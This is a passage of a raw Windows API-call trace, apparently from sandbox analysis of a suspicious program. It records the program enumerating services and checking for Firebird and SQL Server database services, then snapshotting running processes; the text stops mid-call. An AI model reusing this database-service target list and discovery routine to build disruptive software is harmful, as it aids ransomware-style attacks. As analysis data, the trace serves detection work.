lstrlenW (lpString="CryptSvc") returned 8 [0179.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0179.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0179.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0179.778] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0179.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0179.778] lstrlenW (lpString="DcomLaunch") returned 10 [0179.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0179.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0179.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0179.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0179.778] lstrlenW (lpString="DeviceAssociationService") returned 24 [0179.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0179.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0179.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0179.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0179.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0179.778] lstrlenW (lpString="Dhcp") returned 4 [0179.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0179.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0179.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0179.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0179.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0179.778] lstrlenW (lpString="Dnscache") returned 8 [0179.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0179.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0179.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0179.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0179.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0179.779] lstrlenW (lpString="DPS") returned 3 [0179.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0179.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0179.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0179.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0179.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0179.779] lstrlenW (lpString="DusmSvc") returned 7 [0179.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0179.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0179.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0179.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0179.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0179.779] lstrlenW (lpString="EventLog") returned 8 [0179.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0179.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0179.779] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0179.779] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0179.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0179.779] lstrlenW (lpString="EventSystem") returned 11 [0179.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0179.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0179.780] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0179.780] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0179.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0179.780] lstrlenW (lpString="FontCache") returned 9 [0179.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0179.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0179.780] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0179.780] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0179.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0179.780] lstrlenW (lpString="gpsvc") returned 5 [0179.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0179.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0179.780] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0179.780] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0179.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0179.780] lstrlenW (lpString="iphlpsvc") returned 8 [0179.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0179.780] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0179.780] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0179.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0179.780] lstrlenW (lpString="KeyIso") returned 6 [0179.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0179.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0179.781] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0179.781] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0179.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0179.781] lstrlenW (lpString="LanmanServer") returned 12 [0179.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0179.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0179.781] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0179.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0179.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0179.834] lstrlenW (lpString="LanmanWorkstation") returned 17 [0179.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0179.834] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0179.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0179.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0179.835] lstrlenW (lpString="lfsvc") returned 5 [0179.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0179.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0179.835] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0179.835] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0179.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0179.835] lstrlenW (lpString="lmhosts") returned 7 [0179.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0179.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0179.835] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0179.835] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0179.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0179.835] lstrlenW (lpString="LSM") returned 3 [0179.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0179.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0179.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0179.835] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0179.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0179.835] lstrlenW (lpString="MpsSvc") returned 6 [0179.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0179.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0179.835] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0179.835] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0179.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0179.836] lstrlenW (lpString="NcbService") returned 10 [0179.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0179.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0179.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0179.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0179.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0179.836] lstrlenW (lpString="netprofm") returned 8 [0179.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0179.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0179.836] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0179.836] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0179.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0179.836] lstrlenW (lpString="NgcSvc") returned 6 [0179.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0179.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0179.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0179.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0179.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0179.836] lstrlenW (lpString="NlaSvc") returned 6 [0179.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0179.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0179.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0179.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0179.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0179.837] lstrlenW (lpString="nsi") returned 3 [0179.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0179.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0179.837] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0179.837] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0179.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0179.837] lstrlenW (lpString="PcaSvc") returned 6 [0179.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0179.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0179.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0179.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0179.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0179.837] lstrlenW (lpString="PlugPlay") returned 8 [0179.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0179.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0179.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0179.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0179.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0179.837] lstrlenW (lpString="Power") returned 5 [0179.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0179.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0179.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0179.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0179.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0179.838] lstrlenW (lpString="ProfSvc") returned 7 [0179.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0179.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0179.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0179.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0179.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0179.838] lstrlenW (lpString="RpcEptMapper") returned 12 [0179.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0179.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0179.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0179.838] lstrlenW (lpString="RpcSs") returned 5 [0179.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0179.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0179.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0179.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0179.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0179.838] lstrlenW (lpString="SamSs") returned 5 [0179.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0179.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0179.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0179.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0179.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0179.839] lstrlenW (lpString="Schedule") returned 8 [0179.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0179.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0179.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0179.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0179.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0179.839] lstrlenW (lpString="SecurityHealthService") returned 21 [0179.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0179.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0179.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0179.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0179.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0179.839] lstrlenW (lpString="SENS") returned 4 [0179.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0179.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0179.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0179.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0179.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0179.840] lstrlenW (lpString="ShellHWDetection") returned 16 [0179.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0179.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0179.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0179.840] lstrlenW (lpString="Spooler") returned 7 [0179.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0179.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0179.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0179.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0179.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0179.840] lstrlenW (lpString="StateRepository") returned 15 [0179.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0179.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0179.840] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0179.840] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0179.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0179.840] lstrlenW (lpString="SysMain") returned 7 [0179.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0179.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0179.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0179.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0179.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0179.841] lstrlenW (lpString="SystemEventsBroker") returned 18 [0179.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0179.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0179.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0179.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0179.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0179.841] lstrlenW (lpString="Themes") returned 6 [0179.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0179.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0179.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0179.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0179.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0179.841] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0179.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0179.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0179.841] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0179.841] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0179.842] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0179.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f4 [0179.853] Process32FirstW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.853] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0179.854] lstrlenW (lpString="System") returned 6 [0179.854] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0179.855] lstrlenW (lpString="smss.exe") returned 8 [0179.855] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.855] lstrlenW (lpString="csrss.exe") returned 9 [0179.855] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0179.856] lstrlenW (lpString="wininit.exe") returned 11 [0179.856] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.857] lstrlenW (lpString="csrss.exe") returned 9 [0179.857] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0179.857] lstrlenW (lpString="winlogon.exe") returned 12 [0179.857] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0179.858] lstrlenW (lpString="services.exe") returned 12 [0179.858] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0179.859] lstrlenW (lpString="lsass.exe") returned 9 [0179.859] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.859] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.859] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.860] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.860] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.861] lstrlenW (lpString="svchost.exe") returned 11 [0179.861] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.861] lstrlenW (lpString="svchost.exe") returned 11 [0179.861] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0179.862] lstrlenW (lpString="dwm.exe") returned 7 [0179.862] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.862] lstrlenW (lpString="svchost.exe") returned 11 [0179.862] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.863] lstrlenW (lpString="svchost.exe") returned 11 [0179.863] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.868] lstrlenW (lpString="svchost.exe") returned 11 [0179.868] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.869] lstrlenW (lpString="svchost.exe") returned 11 [0179.869] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.870] lstrlenW (lpString="svchost.exe") returned 11 [0179.870] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, 